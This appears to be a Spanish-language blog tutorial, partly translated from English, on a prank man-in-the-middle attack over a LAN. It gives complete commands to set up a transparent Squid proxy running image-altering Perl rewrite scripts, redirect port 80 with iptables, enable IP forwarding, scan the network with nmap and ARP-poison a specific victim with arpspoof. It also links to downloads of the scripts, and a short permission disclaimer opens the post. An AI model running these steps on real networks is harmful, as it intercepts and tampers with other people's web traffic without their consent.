Scent

Mensaje:
esto fue posteado en "April fools" (el tiempo para bromas y "trampas") y que se ve (dañino) aun es un ataque. Esto significa que necesitas permiso para hacerlo (como todo lo que encuentres referente a backtrack en este sitio!!) - como tu puedes capturar/descubrir mas de lo que planeas, como siemre, asegurense de que tengan las permisiones, y, debido a el contenido de uno de estos ataques, tu tienes q asegurar de no exponer a "menores". en esta nota:usted esta por su cuenta, lo que haces, que estas haciendo. que creas esta bajo tu responsabilidad. has sido advertido

Agradecimientos:

g0tmil por sus guias

Canciones

links:

>http://www.mediafire.com/?z84egpbf690a97r
>http://www.mediafire.com/?1o93iar2241x2n2
>http://www.mediafire.com/?t0jjk65e5bnwfaw
>http://www.mediafire.com/?6i4norbacoam9u2

Breve reseña:

Hay mas atques que solo Atrapando/consiguiendo Emails/passwords/cookies. por ejemplo. el atacante podria maniputar y alterar el trafico del objetivo para tener "Diversion Maliciosa" (aunque algunos scrios son "niñerias"), para poner de relieve los peligros de un ataque y lo que otras habilidades / opciones que están disponibles para el atacante. A continuación se muestra la prueba de algunos Scripts:

rickrollYoutube.pl ~ redirije hacia un video youtube
replaceImages.pl ~ Reemplaza imagenes por una determinada
asciiImages.pl ~ cambia las imagenes a tipo ascii
blurImages.pl ~ desenfoca las imagenes de la web
flopImages.pl ~ voltea las imagenes verticalmente
flipImages.pl ~ voltea las imagenes horizontalmente
googleSearch.pl ~ agrega una letra a todas las busquedas con google

Requerimientos:

nmap ~ puede encontrarse en backtrack 4R2 ó 5R1
Squid ~ puede encontrarse en el repositorio de backtrack
Apache ~ puede encontrarse en backtrack
ARPspoof ~ parte de la suit DNSnif q puede estar en el Backtrack 5R1
kate ~ puede encontrarse instalado en el Backtrack 4R2 o en caso del 5R1 en el repositorio
Scrips ~ revisar los links de scrips

Metodo:

     *Descargar e instalad squid proxy
     *Verificar la configuracion y dependencias del script
     *Aplicar permisos a los archivos
     *Configurar con arpspoof al target
     *Game over
     *Editar el squid conf para cambiar de script
     *Game over... de nuevo

Guia:

El atatacante instala squid3 cache proxy por medio del OS (Backtrack 5 R1) repositorio. Squid es el "backbone" hacia este ataque y despues de configurar para que este trabaje en Local Area Network (LAN) y sea transparent (el proxy "trabaja" sin ninguna configuracion en el navegador), el atacante elige cuales script intentara primero (asciiImages.pl es el primero en este) y se agrega al archivo de configuracion.

El atacante abre el scrip para verificar su localizacion asi como tambien los requerimientos (si es que este lo queriera), como en este caso es Imagemagick, Ghostscript y jp2a. al mismo tiempo. el atacante verifica las variables de sus maquinas locales. por ejemplo los siguientes:

"$debug" mode is necesario para cualquier razon de diagnostico ("1"= Enable, "0"=disabled. el log file estara en /tm/[nombre scrip]_debug.log
"$ourIP" tiene q ser la ip del atacante es decir la nuestra. (ifconfig [interface])
"$baseDir" es una ruta local para el folder que es accesible hacia el webserver y tiene q ser escrito como "nobody" - como squid esta corriendo en este nivel de usuario y este ejecutal los perl scripts. (la ruta por defecto del Apache es /var/www/. no obstante el atacante crea un subfoler, "tmp" para usarlo
"$baseURL" seria la ruta visible para el "$baseDir". (http://[ip]/anysubfolders)
"$convert" , "$convert" y "$jp2a" son las rutas necesarias para los programas (donde es [programsname])

Nota: las variables dependen de cada script. el ejemplo de arriba fue tomado de "asciiImages.pl"

Después de esto, el atacante se mueve a configurar los archivos y los permisos de carpeta para permitir que los demonios necesarios para poder interactuar correctamente. Los demonios entonces son reiniciados para recargar la configuracion en el nuevo campo. El ultimo escenario en preparando el la mquina del atacante es para administrar los puertos, como estandar el puerto HTTP para el trafico de web esta en el Puerto 80, sin embargo Squid esta funcionando en 3128 en la maquina del atacante (y su web server, el cual es necesario, tambien esta en el puerto 80). el atacante redirige el trafico hacia el proxy, al cual squid usa, Esta hazaña es lograda con iptables .

El atacante hace una rapida extension de la red usando nmap para verificar si el objetivo esta online. Despues de ser localizado. El atacante aplica un ataque MITM via ARP cache poisoning via arpspoof.

Ahora todo esta puesto en su lugar... Game over.

... Sin embargo el atacando desea cambiar scripts. despues de parar el ataque ( y correctamente re-poniendo la tabla ARP), el atacante edita la configuracion del Squid, una vez mas y modifits para q refleje el nuevo scrip. despues de reiniciar los demonios una ves mas, para cargar la nueva configuracion, el atacando ataca una vez mas con ARP cache poisoning. Este proceso es hecho, hasta que tengas suficiente.

Commandos:

dhclient eth0

apt-get -y install squid
apt-get -y install squid3

kate -> abrir: /etc/squid3/squid.conf
Editar (Linea 588): acl localnet src 192.168.0.0/16
Editar (Linea 644): http_access allow localnet
Editar (Linea 868): http_port 3128 transparent
Agregar (Linea: *final*): url_rewrite_program /root/asciiImages.pl
Guardar
cd /etc/squid3/                                                                                              
kate -> Open: /etc/squid3/asciiImages.pl
apt-get -y install imagemagick ghostscript jp2a
chmod 755 *pl
ls -l *pl

mkdir /var/www/tmp
cp -f www/* /var/www/tmp
chown nobody:nogroup /var/www/tmp
chmod 777 /var/www/tmp
/etc/init.d/apache2 restart
/etc/init.d/squid3 restart
clear

iptables -t nat -A PREROUTING -i eth0 -p tcp --destination-port 80 -j REDIRECT --to-port 3128
echo 1 > /proc/sys/net/ipv4/ip_forward
#cat /proc/sys/net/ipv4/ip_forward

nmap 192.168.1.0/24 -n -sn -sP

arpspoof -i eth0 -t 192.168.1.75 192.168.1.1


chrome -> http://www.msn.com
######################################################################################
#Kill arpspoof (para operacion)
kate -> Abrir: /etc/squid3/squid.conf
Reemplazar (Linea: *final*): url_rewrite_program /root/blurImages.pl
Save
/etc/init.d/squid3 restart 
arpspoof -i eth0 -t 192.168.1.75 192.168.1.1


IE -> http://www.flickr.com
######################################################################################

Notas:

* Credito & agradecimiento a Pete Stevens (http://www.ex-parrot.com/pete/) por su inspiracion con“Upside-down-ternet” y a g0tmilk por sus tutorailes q siempre inspiran

* Credito & agradecimientos a Charlie Vedaa & a “anonymous speaker” (prank-o-matic.com) mucho de los scripts fueron originados por ellos y sus presentaciones en Defcon 17.
* Tu debes e may have to edit the script, to change the default variables. For example, the default IP for the attackers IP is 192.168.0.33.
* I like to keep my videos as short as possible (so they are “straight to the point”). However, this time around, I tried editing them in-time - to the (first) song at least!.
* La maquina virtual q yo uso al grabar no es tan poderosa como parece. actualmente es 4gb ram, dual core, sin embar la tarjeta de video es ATI Xtreme Radeon 5830 1GB para facilitarme los frames
* Software que uso para grabar se llama fraps aunque terminando de grabar cada minuto aproximadamente 500mb se puede editar facilmente :)
* Queria hacer mas corto el video pero no manejo mucho el adobe after asi que optare por un editor mas simple sin perder la calidad y asi reducir los tiempos. * Nuevamente agradecimientos a G0tmilk =)

Preguntas sobre ARP y RARP

[Video] Redirigiendo con squid usando scripts

[Video] Cracking WiFi - WEP with Backtrack 5R1(aircrack-ng)

ARP, RARP Multidifusion

OSI CAPA DE RED

VLSM CIDR

PROTOCOLO UNIX,MAC,MICROSOFT,NOVEL

Followers

verdadero
Falso